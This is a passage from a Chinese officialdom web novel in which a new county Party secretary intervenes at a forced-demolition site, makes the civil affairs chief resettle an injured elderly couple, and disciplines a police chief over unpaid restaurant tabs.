她身体猛地前扑,伸出枯干如鸡爪的手,越过锋利的瓦砾,死死攥住那破碎的相框照片。
不顾玻璃碴子刺破了掌心,鲜血瞬间沾染了照片上孩子柔软圆润的笑脸。
“我把他护在身子下头…钩子差点……差点勾着了他的脑壳……那么大的铁爪子落下来…风…带着腥风砸在头上……轰隆一声!”
“瓦片…噼里啪啦掉下来……”她攥着那带血的碎照片,整个人像被无形的利斧劈中,佝偻的背脊剧烈地、无声地起伏颤抖着。
“娃娃吓破胆了…眼睛瞪得老圆…喊有铁爪子挖他……”
“现在…现在嚎叫着跑到老师家里去了…”她哽咽得再也说不出半个字,将那张碎成蛛网的相框死死按在脸上,指缝间溢出绝望和血的温热。
她整个人蜷缩成了一团被巨大痛苦彻底摧毁的破布袋,跪伏在祖宅仅存的断墙阴影下,发出野兽垂死般的呜咽。
每一根骨节、每一寸肌肉都在无声嘶喊。
一种如同地壳深处涌动的熔岩,在江昭宁胸腔里无声地咆哮、沸腾。
江昭宁的声音在残破的砖墙间沉沉落下,带着一种抚平创伤的沉静力量:“大爷,您叫什么名字?”
“罗……罗大山!”老人嘶哑的声音从呜咽中挤出,像粗糙的砂纸刮过木头。
“罗大爷,”江昭宁眼神如同寒铁般沉凝,却也流淌着不容置疑的坚决,“您就在这里,安心等一等。”
“我马上给您解决问题,现场办公。”
说完,江昭宁翻出随身带的一个通讯录。
这本通讯录里面记录着全县所有重要部门一把手的姓名、职务、办公室电话、手机号码。
当然,日后还要在不起眼的角落,用只有自己能看懂的符号,标注着一些初步观察到的关键信息:性格特点、可能的派系倾向、甚至一些需要重点关注的“关系”。
这是他掌控全局、撬动权力的杠杆目录。
手指在略微泛黄、带着他体温的纸页上快速而精准地翻动,发出细微的沙沙声。
他的目光如探针般扫过一个个名字:**、住建、国土……最终,停留在一个名字上——宗文明,职务:民政局局长。
民政!主管社会救助、救灾救济、基层政权建设……此时此刻,这片废墟之上,这对被打伤、被拆家、儿子住院的老夫妻,正是民政部门最直接、最迫切的救助对象!
没有丝毫犹豫,江昭宁直接拿出另一个备用手机,对照着通讯录上那个私人号码,一个键一个键地按了下去。
他的动作稳定而有力,指尖落在屏幕上的力度,仿佛能穿透电波,直接钉在接听者的心上。
“嘟……嘟……嘟……”
忙音在废墟的死寂中显得格外刺耳。
时间仿佛被拉长,每一秒都伴随着老人压抑的抽泣和远处隐约的警笛声。
终于,电话接通了。
“喂?谁呀?”
一个声音懒洋洋地传了过来,拖着长长的尾音,带着一种午后饱食后的慵懒和漫不经心。
背景音里似乎还有隐约的、舒缓的音乐声和茶杯盖子轻碰的脆响。
这声音与废墟现场的惨烈、与江昭宁此刻内心的冰寒,形成了天壤之别的割裂感!
仿佛电话那头是另一个世界。
一个温暖、悠闲、与这片人间炼狱毫无瓜葛的世界。
江昭宁握着手机的手指,无声地收紧了一分。
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“你是宗局长吗?”江昭宁的声音平静无波,听不出半点情绪起伏。
他目光扫过废墟,扫过罗大爷被瓦砾割破的手掌,扫过老太太身上蹭满的灰黄泥污和手上血迹斑斑的相框照片。
“是的。”那边的声音依旧懒散,甚至带着一丝被打扰的不耐烦,“你有什么事?”那语气,仿佛是在打发一个无关紧要的访客或者推销员。
江昭宁的嘴角,极其细微地向下抿了一下。
“我是江昭宁!”没有职务,没有前因后果,只有简简单单四个字,名字如一块冰冷的镇纸,压了下去。
“姜……钊宁?”电话那头宗文明的声音明显卡壳了,那点慵懒被瞬间撕开一道缝隙。
他明显愣了一下。
这个名字他一时半会儿又对不上号。
他大脑里飞速过滤着县里大大小小的领导、市里下来检查的干部……姓姜的?
印象模糊。
信息碎片拼凑不起来。
或许是某个不太重要的部门副职?
或者哪个企业的老板?
总之,这名字带来的压力感还不够。
他的语气依旧带着一丝疏离和公事公办的敷衍:“哦……你是公事吗?”
“是!”江昭宁的回答斩钉截铁,一个字,重若千钧。
“是公事的话,”宗文明的声音里那份不耐烦几乎要溢出来了,他熟练地打起了官腔,这是他们应付“麻烦”的惯用伎俩,“你按规定找相关部门嘛!”
“该谁牵头谁负责!”
“或者打电话到局办公室登记一下,按程序来,他们会给你解决。”
说完,他似乎就想挂电话了。
就在这瞬间,江昭宁的声音陡然拔高,如同冰冷的刀锋划破空气。
他带着一种不容置疑的、近乎命令的威严,狠狠刺入宗文明的耳膜:“他们都解决不了!要你来!”
“到城中村拆迁现场来。”
“你?!”宗文明像是被滚油烫了一下,声音猛地拔高,尖锐中带着难以置信的荒谬和被冒犯的巨大怒气,“好大口气!”
“你谁啊?!”
第20章 惊雷
“县长,我认识,声音不像!你是……”
他脑子里灵光一闪,一个极其荒谬又让他瞬间头皮发麻的念头冒了出来,带着一种连自己都不信的嘲弄口吻脱口而出:“你难道是县委**不成?!”
这几乎是在讽刺对方不知天高地厚了。
宗文明嘲讽几乎从牙缝里挤出来,带着一种优越感爆棚的轻佻。
县委**?
开什么国际玩笑!
新**今天刚到任。
按常理,此刻应该在熟悉环境或者在办公室听汇报,怎么可能冷不丁亲自把电话打到他这个民政局长的手机上?
然而,电话那头传来的回答,却像一道九天惊雷,精准无比地劈在了宗文明的头顶!
“你还真说对了。”
六个字,字字千钧,冰冷如铁,不带一丝感情,却蕴含着足以让宗文明魂飞魄散的绝对权威!
轰——!
宗文明只觉得脑袋里“嗡”的一声巨响,仿佛整个天灵盖都被掀开了!
刚才自己听错了,对方不是什么同音字的姜钊宁。
而是江昭宁!
新任县委**!
这个认知如同万吨巨石轰然砸在宗文明的胸腔!
“我……我……”宗文明瞬间语无伦次,巨大的恐惧如同冰冷的潮水,瞬间淹没了他!
刚才那份慵懒、那份不耐烦、那份嘲弄,此刻都化作了彻骨的冰寒,顺着脊椎一路窜到脚底板!
他感觉自己像是被剥光了衣服扔进了冰窟窿,牙齿不受控制地开始打颤,四肢百骸都在发僵、发麻!
握着手机的手瞬间被冷汗湿透,滑腻得几乎拿不住。
土地庙里长了草——这已经不止是慌了神!这是神像的金身都被轰塌了!
他那点所谓的官架子,在江昭宁简短话语所代表的绝对权力面前,脆弱得不堪一击!
刚才那些推诿、那些嘲弄……每一句都是催命符!
“你立即、马上,”电话那头,江昭宁的声音没有丝毫波澜,却带着一种冻结灵魂的寒意,每一个字都像冰锥砸在宗文明的心上,“开车过来,到城中村拆迁小区现场!现在!立刻!”
“是!是是是!江**!江**您放心!”宗文明的声音陡然拔高了八度,充满了前所未有的、近乎谄媚的惊恐和顺从,战战兢兢,语速快得像是在打机关枪,“我昏了头!我没听出您的声音!”
“我……我立马!立马就出发!车就在楼下!”
“五分钟!不!三分钟!”
“我保证三分钟之内赶到现场!听候您的吩咐!绝对不敢有半点耽误!”
“您……您千万息怒!”
“我……我这就出发!这就出发!”
他对着话筒拼命赌咒发誓,声音急促得像犯了羊癫风,唾沫星子都溅到了话筒上。
身体因为过度激动和恐惧而在原地微微摇晃。
他甚至能清晰地听到自己牙齿磕碰在一起的轻微“咯咯”声!
电话那头已经传来了忙音。
但那冰冷的命令,如同烙印般刻在了他的脑海里。
宗文明像屁股底下装了弹簧一样猛地从舒适的办公椅上弹了起来!
动作之大,带倒了桌上的茶杯,滚烫的茶水泼了一桌子文件,他也全然不顾!
脸色煞白如纸,豆大的冷汗瞬间从额头、鬓角涔涔而下。
他手忙脚乱地抓起桌上的车钥匙,跌跌撞撞地就冲出了办公室。
皮鞋在光洁的地板上发出杂乱无章的、如同丧家之犬奔逃般的“哒哒”声。
走廊里回荡着他失魂落魄的呼喊:“小王!备车!快!快给我备车!!”
“去城中村!快!!!”
这一刻,什么官威,什么体面,什么程序,都被抛到了九霄云外。
他脑子里只剩下一个念头:以最快的速度,滚到那位新**面前。
宗文明跌跌撞撞地上了车。
小车风驰电掣地向着目的地疾驰而去。
废墟之上,江昭宁缓缓收起了手机。
他面无表情地看着屏幕上那个刚刚结束的通话记录——宗文明的名字后面,他标注上了一个小小的、代表“慵懒油滑”的符号。
他冷
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漠地将手机放回口袋。
柔和的目光重新落回那对可怜的老人身上,“大爷大娘,您们等一会儿,马上就会解决问题的。”
“放心吧!”
宗文明的座驾几乎是带着刺耳的轮胎摩擦声,以一个极其狼狈的姿态,歪歪斜斜地急刹在废墟边缘。
车门被猛地推开。
这位几分钟前还在办公室里享受清闲的民政局长,此刻如同刚从水里捞出来一般,浑身冷汗、脸色煞白、头发凌乱。
他几乎是连滚带爬地从车里钻出来。
顾不上被碎砖绊了一个趔趄,踉踉跄跄地朝着废墟中心那个挺拔而冰冷的身影狂奔而去。
“江**!我…我来了!您看,”他猛地抬起手腕,那只戴了块表的手剧烈颤抖着,表盘几乎怼到眼前,又慌乱地转向江昭宁的方向,“时间,时间只有…2分50秒!”
“江**,我说到做到!绝不敢耽搁您一分一秒!”
他的声音像在破风箱里抽气,粗重而急促,胸膛剧烈起伏,每一个毛孔都在拼尽全力诠释着“卑躬屈膝”四个字。
他额头上不断渗出的汗珠迅速汇成溪流,顺着他紧绷又僵硬的肥腻脸颊滑落,在下巴尖凝聚,一滴、一滴,砸在脚边尖锐的碎石瓦砾上,溅开微小的、带着惶恐的水花。
江昭宁缓缓侧过身,那双如同浸过冰水的眼睛扫过宗文明汗湿的面孔和那只还在微微发颤的手表,语气平淡得像在谈论天气:“是啊,来得是快。”
“刚才电话里接话时,宗局长那架子,那腔调……”
“派头足得很呐,一句一个规矩流程,一句一个该找谁找谁。”
“怎么?才几分钟功夫,就完成了一百八十度华丽转身?”
“这……这……”宗文明的喉咙像是被一把无形的大手扼住,每一个字都在痉挛,“我,是我该死!”
“是我瞎了眼!昏了头!”
“我……我实在是……实在是不知那是您江**亲自打来的电话啊!”
“要是早知道是您,借我十个胆子也不敢……”
第21章 该死的官场惯性!
“哦?”江昭宁眉峰微挑,一个单音节的字,如同冰冷的**剐在宗文明的神经上,“你的态度,取决于打电话的是谁?”
“因为我是县委**,所以你才这样毕恭毕敬、马不停蹄地滚过来,对吗?”
宗文明喉咙里发出“咯咯”的声响,冷汗彻底浸透了他后背的衬衫,紧紧贴在皮肉上,冰凉黏腻,像是裹了一层冰冷的蛇皮。
“那老百姓呢?!”江昭宁的声音陡然拔高,锐利如淬火后的钢针,狠狠刺破这片废墟的压抑氛围,直指面前这个汗流浃背的官员灵魂深处。
他一指旁边瑟缩在墙根、目光依旧残留着巨大惊恐与卑微期盼的罗大山夫妇,再指指这满目的残垣断壁:“他们的房子!他们的人生!他们呼天不应叫地不灵的绝望!”
“到了你宗局长这儿,就可以用‘找相关部门’、‘按程序来’这些冠冕堂皇的废话,把他们像皮球一样踢来踢去?”
“就可以打太极、玩推诿?”
每一个诘问都像重锤砸向宗文明的心脏!
“你们坐在办公室里,喝着热茶,吹着空调,看着文件上干巴巴的几个数字,是不是觉得‘**’两个字,不过就是几张通知,几笔补偿款?”
江昭宁的眼神锐利如刀锋,死死钉在宗文明那张毫无血色的脸上。“是不是?!”
最后的问句如同惊雷炸响在宗文明的耳边。
他浑身猛地一抖,膝盖不由自主地软了一下,几乎要像罗老汉刚才那样扑倒在地。
巨大的压力让他像一条被丢在烈日暴晒下的鱼,徒劳地张大着嘴,喉咙里发出“嗬嗬”的、如同破风箱漏气般的嘶哑声。
汗水不再是滴落,而是在脸上肆无忌惮地流淌,将他精心打理过的发型彻底冲垮,几缕黏腻的头发狼狈地贴在额角鬓边。
他不敢看江昭宁的眼睛,更不敢看旁边那两双饱含血泪和最后一丝期盼的眼睛。
只能死死盯着自己那双在尘土中蹭得发亮、此刻却无处安放的皮鞋,身体筛糠般抖动着。
“这位,”江昭宁的声音重新落下,指向罗大山,语气稍微平复,“是罗大爷。他的家被**了,连同他祖祖辈辈安身立命的根,都没了。”
“眼下没地方落脚。”
“宗局长,他们一家,暂时安置在你民政局那里。”
巨大的压力骤然减轻些许,如同沉船的人抓住了一根救命稻草。
宗文明近乎虚脱地连声应道:“是!是是是!江**!您放心!保证完成任务!”
“我立刻安排!马上就办!绝不会让罗大爷再受半点委屈!”
他几乎要感恩涕零,迫不及待地就想表现出自己的高效和执行力,脑子一抽,几乎是本能地接了一句:“我们那儿有救助站的!”
“条件……条件虽然差点儿,但起码能遮风挡雨,能安置人,吃的睡的都有!”
话一出口,如同冰冷的刀锋瞬间划过自己的脖颈!
“什么?!”江昭宁的瞳孔骤然收缩。
刚才稍许平复的冰冷瞬间被点燃成熊熊怒火,那眼神几乎要将宗文明当场洞穿、冻结成冰!
“你再说一遍?!救、助、站?!”一字一顿,每个字都像是从齿缝里狠狠碾磨出来。
他的眼神带着山岳般沉重的鄙夷和火山喷发般的怒意,“一个为百姓遮风挡雨一辈子的家,被那些渣滓生生碾成了粉末!”
“一个本该颐养天年的两位老人!一个吓破了胆的孩子!一个断了肋骨躺在医院的儿子!你就给我丢到那种地方去?!”
“那是收容无家可归流浪人员的铁皮笼子!宗文明!你脑袋里装的都是糠吗?!”
宗文明像被一道无声的闪电击中,僵在原地!
巨大的恐惧瞬间冲垮了刚刚抓到一丝生机的侥幸,脸色瞬间惨白如金纸!
他真想狠狠抽自己几个大嘴巴!
该死的嘴!该死的官场惯性!
他怎么能在这种时候顺嘴说出了那个万劫不复的词?!
救助站?那是收容无家可归的流浪乞讨人员的!
江**亲自交办、亲自在废墟现场指示安置的受害者,怎么能送去那种地方?!
“我
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…我…是我蠢!是我说错了!”
“该死!江**……您息怒!息怒啊!”宗文明几乎要哭出来,舌头彻底打了结,只能语无伦次地拼命解释、认错。
他慌乱中几乎将毕生积累的场面话倒了个干净:“养老院!对!养老院!”
“我们县里有配套齐全的养老机构!”
“环境好!有单间!有护工!三餐营养到位!我……我们民政最好的资源!”
“我亲自安排!请江**放心!绝对……绝对把罗大爷一家当自己亲人伺候好!”
“一直住到搬迁的新房子能住人为止!保证舒舒服服的!”他一边慌乱地表忠心,一边用袖子用力擦着脸上的汗水和因为巨大惊吓而涌出的生理性泪水,狼狈不堪。
江昭宁冷冷地盯着他,直到他彻底说完最后一点保证,才仿佛接受了一个最低限度的交代。
他极其轻微地点了下头:“费用挂政府头上。该花多少花多少,一分钱不能克扣罗大爷一家的用度。”
“每一笔支出,都要你宗文明亲自签字确认,条据备查。”
“是、是、是!一定!绝对!”宗文明点头如捣蒜。
江昭宁的目光转向这片狼藉的废墟,声音沉缓却蕴含着更强的风暴气息:“安置罗大爷一家,只是第一步。”
“这种光天化日之下的**,不会是个例。”
“宗文明,你回去立刻汇合城投公司的副总经理……”
“给我彻底清查一下,这个城中村拆迁项目里,到底还有多少户像罗大爷这样,遭遇**、暴力威胁、无家可归的情况!”
“一户都不能漏!”
“把名单、具体情况、诉求,全部给我摸清楚,形成一份详实的报告!由政府统一研究,统筹解决!”
“这事,你牵头负责!”
“汇合城投公司的副……副总经理?”宗文明猛地抬头,脸上因为冷汗风干显得有些发亮的肌肉瞬间僵住,那点刚刚平复下来的慌乱再次被巨大的疑虑攫住!
一股寒意莫名其妙地从后脊梁骨瞬间窜上天灵盖!
第22章 真真正正的狠人!
他脑子里飞快地打鼓:不对!城投公司一把手就是那个只手遮天的蒋文光蒋总啊!
这棚改、拆迁,尤其是涉及补偿、安置、还有那些“清场”行动,哪一桩哪一件不是蒋文光点头才算数?
哪个副总敢拍板?敢清查?
这不还是得绕回蒋文光那里?
这江**什么意思?
这不是多此一举吗?
难道……是在试探我?看我站哪边?
还是有别的深意?
宗文明喉咙发紧,嘴巴张了又张,满肚子疑问像滚沸的开水,烫得他心神不宁。
可看着江昭宁那深不见底的平静眼神,以及那背后隐隐透出的、令人窒息的威严与压力。
他只觉得一颗心沉到冰窖最底层,冷汗再次汩汩地冒出来。
宗文明嘴唇哆嗦着,那质疑的话在舌尖转了几个圈,终究被巨大的求生本能和恐惧死死按住,半个字都不敢吐出来。
江昭宁的嘴角,在那个瞬间几不可察地向上牵动了一下,几近于无。
那不是一个笑容,而更像是某种早已洞穿一切的冰冷嘲讽。
他看着宗文明那张被恐惧、震惊、强装镇定等等复杂情绪扭曲成一团的脸,慢条斯理、像是在询问今天的天气一般,漫不经心地道:
“哦?看你这样子,是觉得应该直接找蒋文光商量?”
“是不是在想为什么要麻烦副总?”
宗文明猛地睁大了眼睛,感觉血液都凝固了!
江昭宁的声音依旧平淡无波,却带着能将灵魂冻结的力量:“不用麻烦蒋文光了。”
“他啊,涉嫌一箩筐的犯罪,情节严重,社会影响恶劣至极。”
“刚刚,”他微微停顿了一下,像是在品味某种细微的瞬间,“有人送他去吃牢饭了。”
“宗局长,还有什么需要问的吗?”
轰!!!
这句话如同在宗文明耳边引爆了一颗超高**弹!
炸得他脑子里天翻地覆!
瞬间一片空白!
蒋文光……进……进去了?!
那个在市里面关系盘根错节,据说上面也有人的蒋文光?
那个在全县威风八面,黑白两道通吃,前呼后拥如同土皇帝的蒋文光?
那个自己见了都得赔笑三分、平日里绝不敢得罪半点的巨无霸蒋大老板?!
就这么轻飘飘的几句话?
就在新**上任的第一天?!就被人亲自送去了吃牢饭?!
绝对的静默如同实质般压下来,只有废墟深处野风穿过断壁的呜咽声隐隐传来。
宗文明彻底懵了,身体像一块被雷劈中的木桩,僵直在原地。
嘴巴无意识地半张着,脸上那点刚刚擦去的油汗,不知何时又渗了出来,在午后刺目的阳光下反射着油腻惊恐的光泽。
他的眼睛瞪得溜圆,瞳孔却涣散失焦,仿佛被这个突如其来的、信息量过于巨大的消息彻底击穿了意识。
一股寒气从脚底板瞬间窜遍全身,四肢百骸如同浸泡在冰水之中,抑制不住地开始发抖。
新到的这位江**……岂止是不好糊弄?
简直是阎王!
真真正正的狠人!
杀伐决断!
谈笑间就把根基深厚、嚣张跋扈的蒋文光这尊金刚不坏的神像给搬倒了!
而且还是刚刚才发生的事!快如雷霆!势若疾风!
巨大的震撼和深入骨髓的恐惧,瞬间击垮了宗文明所有残存的侥幸心理和对旧秩序的任何一丝依赖。
他无比清晰地意识到,眼前这个看似年轻、说话甚至带着点平和气息的县委**,手中握着的,是真正能生杀予夺的权柄!
他今天能送蒋文光去吃牢饭,明天……
宗文明一个激灵,猛地从极度的震惊中回过一丝神来!
那张惨白的脸上,最后一点犹豫和质疑也彻底烟消云散!
只剩下最深切的敬畏和绝对的服从!
他猛地挺直腰板,用尽全身力气,把平日里那点官腔彻底抛到了九霄云外,用一种近乎吼叫的、带着哭腔的高亢声音喊道:“报告江**!明白!完全明白!”
“坚决执行您的指示!”
“没有疑问!没有任何疑问!我立刻回去!立即就办!”
“清查所有类似罗大爷这种情况的困难户!拉网式排查!一户不落!拿出详细报告!”
“我亲自负责!保证完成任务!”他喊得声嘶力竭,唾沫横飞,脖子上青筋暴起,每一个字都像是在拿他的**生命甚至身家性命在发誓!
这一刻,宗文明再不敢有半点旁的心思。
这城中村废墟上弥漫的绝望和鲜血,伴
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随着新**那句轻飘飘的“送他去吃牢饭”,在他心底彻底烙印下了一个清晰无比、如同刻骨剧痛的认知——天,真的变了!
而这变天之日的锋刃,已经斩断了旧势力的一角。
现在自己唯一能做的,只有死死抓住新风暴掌舵者投下的那根脆弱的救命绳索。
此刻,他只剩下一个念头:这位江**,是绝对不能有丝毫违逆的阎王!
必须拿出十二万分的力气,把他交代的每一件事,都办得漂漂亮亮!
否则,蒋文光的下场,就是他的前车之鉴!
他甚至不敢再看地上那张罗大爷紧攥着的、染血的破碎全家福。
那照片上模糊的笑容,在炽烈的阳光下,与这片废墟、与这位年轻**冰冷话语勾勒出的巨大阴影,形成了足以撕碎所有侥幸的惊悚反差。
“现在,你马上用你的车将罗大爷、大娘及他们的孙儿送到养老院去。”
话音未落,他似乎想起了什么更为紧急的问题,转向老两口,语气温和但急迫:“罗大爷,你们有老师的电话号码吧?”
“还记得号码吧?”
罗大山浑浊的眼睛里闪过一丝光亮。
他用力地点着头,干裂的嘴唇翕动着:“有!有!记得!记得!王老师,小石头的班主任,好人呐!”
江昭宁立刻转向宗文明:“宗局长,用你的手机让罗大爷打一个电话给老师,告诉小孙子在老师家等,马上来接他到一个新的地方居住。”
“是!江**!”宗文明的回应带着颤音,头颅像上了发条的鸡啄米般上下点动。
他动作慌乱又带着十足的恭敬,几乎是半弯着腰,双手捧着自己那部崭新的手机,如同供奉什么圣物般小心翼翼递到罗大山布满皱纹和老茧的手里。
那手机的冰冷外壳与老罗皮肤的粗糙形成了鲜明的触感对比。
罗大山枯枝般的手指在光滑的屏幕上笨拙地点戳,每按一下都显得那样艰难。
按错了,急得他鼻尖冒汗。
再按,又错了……时间仿佛凝滞。
终于,在数次的尝试后,听筒里传来了细微的接通“嘟”声。
罗大山几乎是用全身力气将手机贴在耳朵上,老泪在布满沟壑的脸上蜿蜒:“王老师……老师啊,对不住又打扰您了。”
第23章 敲打
“是我,罗大山……娃……娃暂时先麻烦您照看一会儿……江**……江**派人马上就去接……我们找到了新地方住。”
“有政府管了……给您添麻烦啦!谢谢!谢谢老师!”
老人声音哽咽,那声“谢谢”包含了太多说不出的辛酸和此刻终于寻到一丝希望的释然。
电话挂断。
他攥着手机,像捧着一个沉甸甸的恩典,颤抖着还给宗文明。
挂了电话,罗大山和老伴对视一眼,积压了一整晚的恐惧、无助和此刻汹涌而上的巨大感激瞬间爆发。
两夫妻“噗通”一声,直挺挺地跪倒在地上!“**天呀!您是我们一家的恩人呀!要不是您……我们……我们……”
这突如其来的大礼让江昭宁猝不及防。
他瞬间从惊愕中反应过来,一个箭步冲上前,在两位老人的额头即将触地的刹那。
一双有力的大手稳稳地、几乎是带着一种焦灼的力道,分别托住了他们的胳膊。
“大爷!大娘!快起来!使不得!万万使不得!”他的声音陡然拔高,带着痛心和不容抗拒的坚决,双臂用力,硬生生将两位风烛残年的老人从泥水里搀扶起来。
江昭宁看着眼前两张饱经沧桑、涕泪横流的脸,只觉得一股滚烫的热流直冲眼眶。
他深吸一口气,声音低沉却带着一种震撼人心的力量:“大爷大娘,你们搞颠倒了!”
“完全搞颠倒了!”
他扶着两位老人颤抖的手臂,目光灼灼地看着他们,“官员,是人民的公仆!是为人民服务的!”
“看到你们受苦,担惊受怕,这是我们的工作没做好!”
“我这个县委**,心里痛啊!愧疚都来不及,哪还能接受你们的感谢?这是我们的失职!”
“你们下跪,这不是在打我脸吗?这……这叫我如何受得起?如何心安?”
“江**,您才刚来,快别这么说……”罗大山哽咽着,还要再说什么。
“好了,大爷大娘,现在不是说这些的时候。”江昭宁果断地截住话头,语气缓和下来,但关切依旧。
“宗局长!”他转向一旁。
“在!”宗文明早已准备好,立刻上前,小心翼翼地替换江昭宁,搀扶住两位老人。
“**放心,交给我!大爷大娘,咱们上车,小心脚下,慢点……”
这时他的司机也立马赶了过来。
两人半扶半抱,几乎是架着两位腿脚不便的老人,深一脚浅一脚地走向那辆小车。
车门打开,两位老人被安顿在后座。
临关车门前,他们努力地、一遍遍地对着那个挺拔的身影挥手,嘴唇无声地翕动着,诉说着无尽的感激与告别。
江昭宁也用力挥了挥手,目送着那辆小车风驰电掣般消失在视线之外。
现场,只剩下江昭宁与刘洋意。
“刘所!”江昭宁的声音平静无波,却像一颗投入深潭的石子,瞬间打破了沉寂。
“到!”刘洋意几乎是弹跳起来的,胸膛挺得仿佛要顶破警服。
但那挺直的脊梁下,心却提到了嗓子眼。
一股不祥的预感如同冰冷的潮水,迅速漫过他的脚踝,几乎要将他吞噬。
江昭宁没有看他,目光锐利得如同能穿透他的警服。
他突然开口,话题陡转,如同在平静的冰面上凿开一个意想不到的窟窿,直指深水处的淤泥:“你与‘老蔡家常菜’的老板还算熟悉吧?”
他显然不是泛泛而问。
“蔡根生……!”刘洋意浑身上下如同过了一道高压电流,猛地一哆嗦!
他感觉脊椎骨缝里都透出凉气!
熟悉的饭菜香气和那本油腻的记账本瞬间在脑海中浮现。
“有……有,有点儿熟,”他强自镇定,声音却无可控制地带上了一丝不易察觉的颤抖,眼神闪烁游移,避开了江昭宁探照灯似的目光,“我这辖区……范围挺大的,小饭店嘛……接触过,但不是很……很熟悉。”
他试图狡辩,语言组织明显混乱起来,如同濒临断线的风筝。
“不熟悉?”江昭宁微微侧过头,目光像冰冷的锥子,精准无误地刺向他,“你今天中午,不还是堂而皇之地踏进店里,提了一堆硬菜和两
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瓶本地老白干,临走前潇洒地在柜台的记账本上签了大名吗?”
江昭宁顿了顿,每一个字都清晰异常,“刘——洋——意。我看看,记得是……欠款伍佰元整。对——不——对?”
末了三个字,语速放缓,声调压低,带着重若千钧的审问意味。
刘洋意瞬间如遭雷击,一股寒气从脚底板直冲天灵盖,头皮阵阵发麻,全身汗**倒竖,控制不住地打了个剧烈的冷颤!
一股寒意透骨而过,他感觉自己的警徽仿佛也在跟着发烫!
他脑中一片空白,只剩下巨大的震惊和恐惧:这……这么隐秘的事,仅仅半天功夫,**怎么就知道了?!
难道是那个唯唯诺诺、只会赔笑的蔡根生有胆子告状?
或者老板娘?
还是有哪个眼线无处不在?
冷汗霎时如泉涌,密密麻麻地从额角、鬓边疯狂渗出、滚落,冰凉地划过脸颊。
他嘴唇哆嗦着,再也无法组织语言掩饰。“我……”
“一共欠了多少钱?”江昭宁的问题根本不容喘息,步步紧逼,目光将他钉在原地,如同审问重犯。
那目光沉甸甸的,蕴藏着不容置喙的决心——他似乎要将这依附在基层权力上的所有积弊脓疮,一并挑破挤出。
“……有,有五千了……”刘洋意几乎是在绝望中挣扎出声,声音低沉得像蚊子哼哼,带着一种病急乱投医的辩解,“主要是……是招待从外地过来办案、交流的同行兄弟……都是工作需要……”
他哭丧着脸,试图为自己开脱,仿佛这成了他唯一的救命稻草。
“你们派出所没有财政预算?没有招待费用拨款?”江昭宁的声音陡然拔高,像鞭子一样抽在清冷的空气里,每一个字都饱含压抑的怒火。
“那……那点儿预算,杯水车薪,根本不够塞牙缝的……”
“远远不够啊江**!”
“您也知道,现在上面检查多,协作单位来往也多,那点定额的招待费,吃两顿像样的工作餐就没了……我也是没办法……”
刘洋意越发窘迫,头垂得更低。
第24章 去结账!
他的眼神躲闪着,不敢直视江昭宁锐利的双眼,额头的汗水滴落在皮鞋尖上,留下深色的印记。
“不够?不够就去欠?去盘剥小本经营、一分钱恨不得掰成两半花的平民百姓的钱?”
江昭宁的质问如同重锤,一记又一记,砸得刘洋意耳鸣眼花,“看着人家夫妻俩起早贪黑、累死累活赚的那点辛苦钱,你一签名字就欠成了死账?”
“你吃得下去?你睡得安稳吗?”
“摸摸你的警徽,摸着自己良心问问,这跟拦路索要有什么区别?”
“吃白食?害臊不害臊?!”
连续的重击让刘洋意彻底溃败。
他面红耳赤,仿佛被剥光了站在寒风中,脸颊火辣辣地烧灼着,羞愧难当。
那身平时象征威严的警服,此刻像沾满了污秽,沉重得让他喘不过气。
他想辩解那是“惯例”,是“人情”,但在这个年轻**那清澈见底、又洞察一切的目光逼视下,所有借口都显得如此苍白可笑。
“这是不是索拿卡要?!”江昭宁的声音冰冷至极,直刺问题的核心,彻底撕碎了最后一层遮羞布。
“……”刘洋意无言以对,嘴唇翕动,却发不出任何声音。
冷汗浸透了内里衬衫的领口,警服的后背也洇湿了一块深色。
见气氛到了火候,江昭宁不再废话,斩钉截铁:“从此刻起,你们城关派出所所有因工作需要产生的招待,一律只能在单位内部食堂解决!”
“伙食标准按财政规定执行!”
“再让我发现任何人踏进辖区任何一家馆子签单赊账,无论是谁,严惩不贷!”
“是!是!江**!”刘洋意仿佛听到了大赦令的头两个字,如蒙恩典,连连点头如捣蒜,声音带着明显的惶急和哀求,忙不迭地用袖子擦拭着如注般流淌的汗水,“我一定下不为例!我保证!”
他只想尽快离开这难堪的境地。
“下——不——为——例?!”江昭宁猛然抬眼,眸光中那股深藏着的冷冽寒意陡然迸射出来,仿佛两道冰冷的实质寒芒,几乎要将刘洋意冻结在原地!
这股寒意比冬日的北风更甚百倍。
刘洋意浑身一僵,江昭宁那份杀伐决断的气魄,足以证明这四个字的分量远非儿戏。
这位年轻的县委**,绝不是只会讲大道理的软柿子。
刘洋意感觉自己的双腿已经软得不听使唤,像灌满了沉重的铅块,几乎无法支撑身体的重量,只能凭借意志力强撑着挺直腰板。
“现在,我给你两个选择!”江昭宁的声音平静下来,但那平静之下翻涌的,是更令人窒息的压迫感。
“哪……哪两个选择?”刘洋意的声音已经抖得不成调子,心脏疯狂撞击着胸腔,几乎要破膛而出,仿佛囚徒等待最终的判决。
“一、接受党纪政纪严肃处分,调离**队伍!你这身警服,明天起就别穿了!”话音落下,冰冷的结局已摆在眼前。
“二……”江昭宁略作停顿,目光如同尺子,上下精准丈量着刘洋意苍白颤抖的脸,“马上!立刻!自己掏腰包,分文不少,连本带利结清你在‘老蔡家常菜’的全部欠账!一分都不能少!”
“然后,记住,从今往后,桥归桥,路归路!管住自己这张嘴,管住自己不该迈的腿!”
“再不准踏入那家小店去吃白食、签白条!”
“把你这张‘白条脸’,给我洗洗干净!”他的话语清晰锋利,如同快刀斩乱麻,“再不做这种丢人现眼、败坏党风警风的事!”
“做得到,这次算你悬崖勒马,给你一个戴罪立功,以观后效的机会!”
两个选项,如同地狱与炼狱的门槛,明明白白地横在刘洋意面前。
前者是**生涯甚至后半生的彻底终结。
肯定不能走这条路!
刘洋意的心头如同被剜肉般剧痛!
那五千块钱,对他这个所长来说,绝不是小数目,人情往来、应酬、家里开销……桩桩件件都要用钱。
想想那一叠钞票,他感觉自己心尖都在滴血。
然而,那道年轻却极具威压的目光沉甸甸地压在他头顶,不容半分侥幸。
江**那“说到做到”的作风,刚才罗大爷一家离开时那充满感激与敬畏的眼神,以及宗文明如丧家之犬的灰败……
张彪,还有蒋文光即将面临的结局。
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所有画面都清晰地提醒着他:如果不选择第二条路,今天恐怕就是他穿上警服的终点站!前程尽毁,在这个小城他都将无地自容。
思想剧烈地撕扯权衡,只用了短短几秒。
金钱的损失巨大,但权力的失去是深渊!
刘洋意狠狠地咽了口唾沫,喉咙干涩发痛,仿佛吞下了玻璃碴子。
